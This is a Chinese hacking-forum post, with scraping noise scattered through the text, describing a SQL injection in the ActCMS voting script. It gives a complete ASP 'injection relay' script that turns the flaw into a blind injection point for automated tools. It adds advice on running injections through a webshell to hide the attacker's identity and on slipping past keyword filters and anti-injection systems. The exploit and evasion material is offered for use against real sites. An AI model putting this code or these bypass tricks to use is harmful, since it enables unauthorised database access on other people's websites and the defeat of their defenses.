找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2174|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式

) C/ h- k% A" U" Z! a% G看到ninty大牛的blog的一篇文章: @, n3 N( }" P9 b, m% u
链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
& M8 W% h' c. R& K, f关于actcms漏洞的利用  by 3x qq:381862589% J. F2 S4 u6 F. e! {
转载请注明以上! W" c1 x* m+ l  T( M7 w5 a
漏洞文件:. Z8 l$ U. d- _; g4 |# }
/plus/vote/vote.asp# @$ P. ~/ |9 Z1 I# Q( E
代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then    ! l" [  V$ G/ ^/ \; A
2 h) q( x/ [8 K/ V
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"     U: ?. s% `8 J9 ~9 H+ t8 {8 M9 Z

0 s( I( F) ]) u0 k3 U2 ]3    response.end    # Q! ~! v8 a1 r

( s( j# }7 g& @2 \! g4    end if   
2 r" T6 i$ v6 [9 A3 \  r* [+ i" |, ^8 R
5    for i=1 to request("voted").count   
! M. ?0 b  c/ h* W/ b, ^' x# h3 E  U$ g& Q* U
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))    % |5 z* p( x' ]& c5 [

" q/ P+ V$ q* x' ?) V! e7    next    & C4 J7 O* P3 X6 M3 a
" ?5 [7 r- x) l2 U+ S* v1 ^
8....   
7 r% ]9 ]' [& u
* y" h! ~/ e0 l7 u5 H9response.Redirect "index.asp?id="&id&""   
" Y1 U: O9 g0 d* ~投票结束回跳转回index.asp这个投票结果页面9 ]& r, w/ O8 b/ f
如果投票成功票数加1
  Q, @9 V4 N% e0 ?            失败票数不变/ o$ Q; S+ g1 ]( m. D$ u0 [
如图:* R* K; l# ?6 l: T3 i3 G( ]
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB)
4 J# v4 M8 E' k+ h. L1 {$ n) _( t5 u1 U0 w" i0 P  D% W
2009-12-27 13:20$ G* x$ A! j% v) ?4 w

  x2 V; a9 T  b5 f- R: C1 K3 ~利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了5 a2 K5 F; Y. U& I8 Y: z% s, z, `

# e! K4 l2 X; I- Z. G本帖隐藏的内容需要回复才可以浏览
$ L7 _. J' i3 ~我们用注入中转来实现这个注入具体代码如下:, R3 r2 O8 e1 q' b1 i' `% v* w
先用寂寞的刺猬大牛的注入中转生成jmget.asp& p4 n- e' n/ z
注入地址:http://localhost/actcms/plus/vote/vote.asp: g. w8 c. }5 G1 {% x
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项; F3 Y3 Y1 A" t/ H3 g, G- L

/ d8 {+ H5 n  }% w$ R然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% 6 j! L% a) k- n6 d* k$ Y$ t: A

8 j' \! r& O3 A0 y$ S02JmdcwName=request("jmdcw")
2 M; }6 z2 E; u& P5 f- P4 F$ A% z$ N+ r2 ^& |
03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T] # L) E; F% y+ W( u! z
2 _7 l* v9 D: E
04JmStr="id=1&voted=-1 or 1="&JmdcwName 8 Z1 r  w+ ?; T" h$ o( {% ]

0 u7 D, g: S9 E8 ~+ i* T9 E05JmStr=URLEncoding(JmStr)
0 d3 B  z$ W$ {; H5 i6 n9 L4 {# }
; e0 p6 }$ P4 m06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
% F" j& A% S/ o) g( p2 Y6 F) F, v9 ~- G9 y; G4 N/ z! e3 c
07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"8 |& q# f7 Q% R- Y  E) c
# W. f+ d. i7 R, ?, e9 k
08testurl=testurl & "?" & JmStr
1 {& B; Y% v4 j* a1 M; _- ]7 x, M# r2 }* a' i4 z" o
09JMUrl=JMUrl & "?" & JmStr * c9 I1 A& X7 C% y$ R
, R+ D$ E: K. v  V$ |
10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"$ \2 Q$ k4 ]7 Z# i% h$ Z
& ~* ~, @. O: W- A2 h1 I) s, ^
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;". q) `2 K; r: b) v

2 f' I6 [) ^* h9 S3 a12JmCok=replace(JmCok,chr(32),"%20")  ( k- G2 U9 C. Z3 ?  Q
4 K0 L+ a" q) |% k
13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数
- o/ Y1 g+ c  V6 x- I2 ?4 t
; ^- C) X! Y: B14  / E  ]  M3 C6 \+ u/ \- o: W& F

# n" A, ~2 X- k15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
  X7 \* Q& }# y5 n# r0 n( g; z
3 u+ \' A* z; {! ]* e7 H$ c6 M16    m1 k+ |1 N; \, r

* h' y  E5 a; ~* x% F+ d$ n- e" g( g17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录 - g, |# I; p) b

. f# w: k  K0 L3 U: m# e0 W18response.write test1&""&test2&""2 g5 W" }1 k7 f, ]

: ~% ^4 @( n, b: c9 ]  c19  
1 d6 [. N# ~4 }" i" T
+ X$ ^4 `2 J- T1 u20if test1=test2 then '如前后记录相等,表示失败
* K: `, V2 h: [" s: k9 ~2 ?9 O+ G! o
21  response.write "failed"
" S  z5 ^8 R( e4 C) G
# A. X. O/ Q5 L4 u8 t4 `22else
2 X0 b. p+ u) g' N0 p
8 Q$ A' m2 }/ ]& Y0 I+ e+ V0 K23  response.write "succeed"
9 l- C, ]7 s2 a
6 t; S1 |/ _% [" [) S5 v24end if  ( C4 L3 ^2 r8 r$ e, ^# o

4 L& `) \' r$ d& B& ?/ O* W& P25  % O8 a: ^: }7 w- j2 G+ Z
% W4 Y7 ]3 e: R" V
26response.write "by 3x"
- a3 `" N* l, K  r! R- |
+ j9 [0 _7 I& o! F$ P6 D* ~27  $ N. J+ @  O  \, F5 S

0 F8 R- ?7 i# I+ r2 g28  
" f8 `& ^1 d* p7 T. N. P
8 z0 o8 X, N" I0 M29Function PostData(PostUrl,PostStr,PostCok,PostRef)   . R1 u: i7 {7 Z( i
& b* ?( a- f! s2 `3 \
30Dim Http
# O+ [, n& F# \* E4 e) X* ?+ y
: Y% U$ \8 H. K: Z: {31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
3 s: B: X/ E. Q& ?. |9 x' ~" Y% j0 W
32With Http
% Q" [, r1 d4 H2 k( N9 z% S. K8 q. X+ a5 a2 w, n6 X4 ^- t: C3 ?' d
33  ; v1 ]; N* K1 d& u: o& c

$ i# U3 w: k( H( s( y* t* @/ @' W' ^34.Open "GET",PostUrl,False6 E' F( x0 |+ S' N- o' C3 `1 a
5 c+ ^: H" b3 W& D: |+ n+ L4 r
35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"& e8 c$ g5 s& v5 g0 `+ o  \

" E  y4 E1 g! S2 Q2 ^36.SetRequestHeader "Referer",PostRef
1 C% p, d% {$ n& u# p- Y
( g* s/ p: d/ w( ^) ?37.SetRequestHeader "Cookie",PostCok
; j: d0 J# I* h" T9 [* e
, s$ i7 L/ x3 ]8 N3 b5 ~38.Send ()
# i1 [7 u/ B1 L: n% F8 A4 _/ p3 V5 {/ b3 y& c8 C  L. B
39PostData = .ResponseBody ! h7 v7 x% g5 J/ D! D
2 f/ h0 C8 P! S7 O
40End With
3 K5 C3 V8 X* O: v( b
3 B) V, R8 Y4 j: z41Set Http = Nothing
' S+ H; r) N) r. ]. M; L5 `: Y1 l' z2 O! c8 h! C0 o& y3 l4 ], N- V
42PostData =bytes2BSTR(PostData) ! A8 \2 n( j% P- o; W7 A, T% l
8 i( j6 n, h3 R* u( q; Y# `
43End Function
- q8 @& t$ I' S+ p5 r) X4 j2 x
) K- D: g8 u3 g44  , d, E' n) W* x, `8 }" [$ s; z
+ w& f9 |3 R% h2 {5 N
45  ; N6 J+ A* d9 Z* P; k2 e1 a

! c  n2 ?% }3 ]3 w/ b46Function bytes2BSTR(vIn)
5 o) h2 b& k; [5 x9 p. Y- U% v
" Y: v& M! M! z( \2 W( Y1 `47Dim strReturn
% y( j4 B) ^6 S, E+ @! i/ D) K: k& v: t& D! J
48Dim I, ThisCharCode, NextCharCode 0 B6 t2 A3 S1 G, W8 j) D3 ]
. f( |: b" l6 e% n
49strReturn = ""
6 V2 j4 M; L" J* ]3 K% h. O' ~% R! D( X0 Z9 z* J
50For I = 1 To LenB(vIn) ' K; g4 L/ N1 B/ ^$ i6 n7 R: P0 K

0 \* N9 c0 y# E& U" \51ThisCharCode = AscB(MidB(vIn, I, 1)) ) F$ G. Z; n8 t; w) y- t- g: o+ R
" _) g+ A; ~( _% L" z
52If ThisCharCode < &H80 Then
, o- K  C' j5 t% }* h. i9 {3 [; C
' }! V/ `8 R, p9 v53strReturn = strReturn & Chr(ThisCharCode) + ]/ o+ _' |0 s- @2 U% L
. |) D0 ~5 [3 j3 a  u/ j( L" i; ~
54Else
3 ~- }# ~, p/ D  ~/ N
1 U$ K/ M1 ?; ]3 ^- r5 u& X55NextCharCode = AscB(MidB(vIn, I + 1, 1))   E6 ^2 @- y/ ~8 e# k

4 J8 H! t/ Z2 _* \  [56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) 1 Z7 v( {+ V% N" N# m  U8 d

. q& |: |) L  L  f0 @4 ]57I = I + 1 + o$ M: R* D4 X# a
5 X, b( h- k6 ~4 P1 @; a
58End If! L( V2 Z9 r+ [# x8 v2 ]! D
& [$ F7 y1 {3 {2 A6 r# i( M) S( P4 p
59Next: I! Q+ Z# x4 {& ]' P- c0 f1 B

" |' O0 `2 X8 X& O" i# i$ h60bytes2BSTR = strReturn 8 R9 y8 o* c9 ?* p$ m  I8 S

9 h- ]9 r' o# Q1 N0 C61End Function
# }7 j/ ?* n1 I# o* f& ~
' U- D& g! Z2 G+ C62  ; C* ?% z2 m* H  q# {: ^, Z

% S. M5 c1 C1 C1 [1 Q6 p, ?0 O8 q63Function URLEncoding(vstrin)  
+ k: k1 ?. I7 f: e# W! X+ |
6 j$ Q5 l3 Q" G0 C" A64strReturn=""" E! T5 T/ J. v8 @
/ R6 u+ B1 d5 N: O
65Dim i 1 G$ z1 q" v2 y# D. @

6 U8 a9 v' k9 C4 i66For i=1 To Len(vstrin) & K8 i) Z. L/ z. T0 F1 Z9 y  w
& `3 c3 A6 H# P
67ThisChr=Mid(vstrin,i,1) + b* S0 M0 G) e& `; _7 O: N' U* R" J
  N9 [% ?7 A+ g. P
68if Abs(Asc(ThisChr))< &HFF Then
' t$ I) a- X! V' W- a& c
7 {, T9 f: I- m8 \1 K69strReturn=strReturn & ThisChr , J0 r  {0 m/ e3 I+ a. ^$ b4 _6 `
: i, g6 M/ y7 H% `' r- B; A/ B$ Q4 j
70Else
2 }+ M1 D: l4 A6 G' x, Z3 {+ \' ?' v3 c' l% g
71InnerCode=Asc(ThisChr)
8 w- `& e5 Y" K! g4 n0 t7 @1 g) X4 B0 L
72If InnerCode<0 Then
0 N$ y1 Q7 f" Q3 a* D
* x2 ^9 S% T+ t3 X4 @73InnerCode=InnerCode + &H10000
. f! `0 O* S; |
6 B* n/ n) Z0 o: s, ~3 s74End If
, L* ]4 A4 V& n9 B  k4 \) `- J
' m: s/ N5 X- h75Hight1=(InnerCode And &HFF00) \&HFF ! m1 U( h# }! P  ^) c- h- W' \
7 z+ s$ I- ?& [4 ?7 {  g" _+ L9 \
76Low1=InnerCode And &HFF 3 E9 q# R$ c) T- g
2 e% |6 v. }/ {  {% k
77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) # q9 P9 ^% m5 x, s( j4 B

& p1 q, X4 l5 K. B78End if $ t* ~. n% i6 U: y+ N
6 x9 ?! S2 H2 U2 y$ Q5 U
79Next7 b/ y. w- Z; k% a! J+ ?

) X8 F9 M. d9 D# l2 J80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20 2 D( x, g' ^, i( O

8 _* U: G& l' a. Z81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符 * c0 G0 `  {: n
8 D4 P/ r2 ?& g9 N+ D
82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
8 ^  i# G1 ]# G7 b& o6 M6 w1 {6 u# N% ~8 J4 k
83URLEncoding=strReturn
, T+ v& A% r. Z& t: e) L: j
5 A, t- X8 l' M, H: L; n9 ]# B84End Function- g3 F% U( e' d
. N) C  _, v7 e1 R; b
85  5 t, Y; ^4 {3 R6 A! z, X& z& d# l
4 w1 Q1 N8 f' A  {' }. O
86function getSt(body) ; M* g2 e5 O3 i
0 ~+ B# p3 \: N  Q& B/ f; ]6 S
87  startpot=instr(body,"投票人数:")+len("投票人数:")
7 R+ E, U: {3 Q( J! b, w
, p, v) A) B6 Q- I2 a) p7 a88  endpot=instr(startpot,body," ")
+ t* R+ E4 z: e" z& R' B
0 d" q4 f9 \1 ^* \- B89  getSt=mid(body,startpot,endpot-startpot)
8 m5 o# `; K2 w0 }( A" H2 e
; }# E  Y2 F& }6 Q+ B90end function
3 Q* |8 d6 }/ S
$ Z0 C3 T, Q4 ?5 p- V4 k91%>4 d% _; f* V0 }4 \7 W
注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了8 ?' W3 f- r3 x, i! Q  z% b
测试下效果:
7 h, S4 P( v) z! U/ J投票成功:; y4 }5 h( W  p! n; K
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
1 a* S3 r+ v" [; m3 H8 B8 u" d: A" U* c. s9 G$ \
2009-12-27 13:29
: t$ A0 Y1 Z8 K( R. e投票失败( T1 G0 B5 [, I8 p- P! x+ [2 \  p
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)8 U4 C+ ^, j* {( k: n9 ]

  l6 C1 [6 K" v+ v4 Z! T9 {1 H2009-12-27 13:29
0 Y. S9 C) }) K% v0 |  t# T-------------------------------------------------------------------------------9 z) n# T' y& Y, j! p& {) x2 @! U3 O7 c" _
再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以# l0 u. K! X1 d% Q4 D
很抱歉。。。只能用单线程工具去注入。。。。。. [$ l* k* P0 O& i8 c
所以失败。。。不好意思。。。9 X1 n0 p) F' r
-------------------------------------------------------------------------------. f  u5 ^- T8 P" B) S. f

: H% X& R# s0 }& E' @注入中转的一些其他应用2 X$ O0 l/ S: {$ K3 U& V
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了  n( S! l( r- F% g! ?
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id
/ B2 w7 L* E; S$ R2.post注入转成get型的注入,方便我们使用工具来跑5 P% B0 f% A$ Z( W/ y1 V
3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
6 ~6 V$ O* v0 ^& s8 b4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过
$ u! K: c2 G. }/ a, V1 Z! U* V9 m* t) v4 ?; n
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表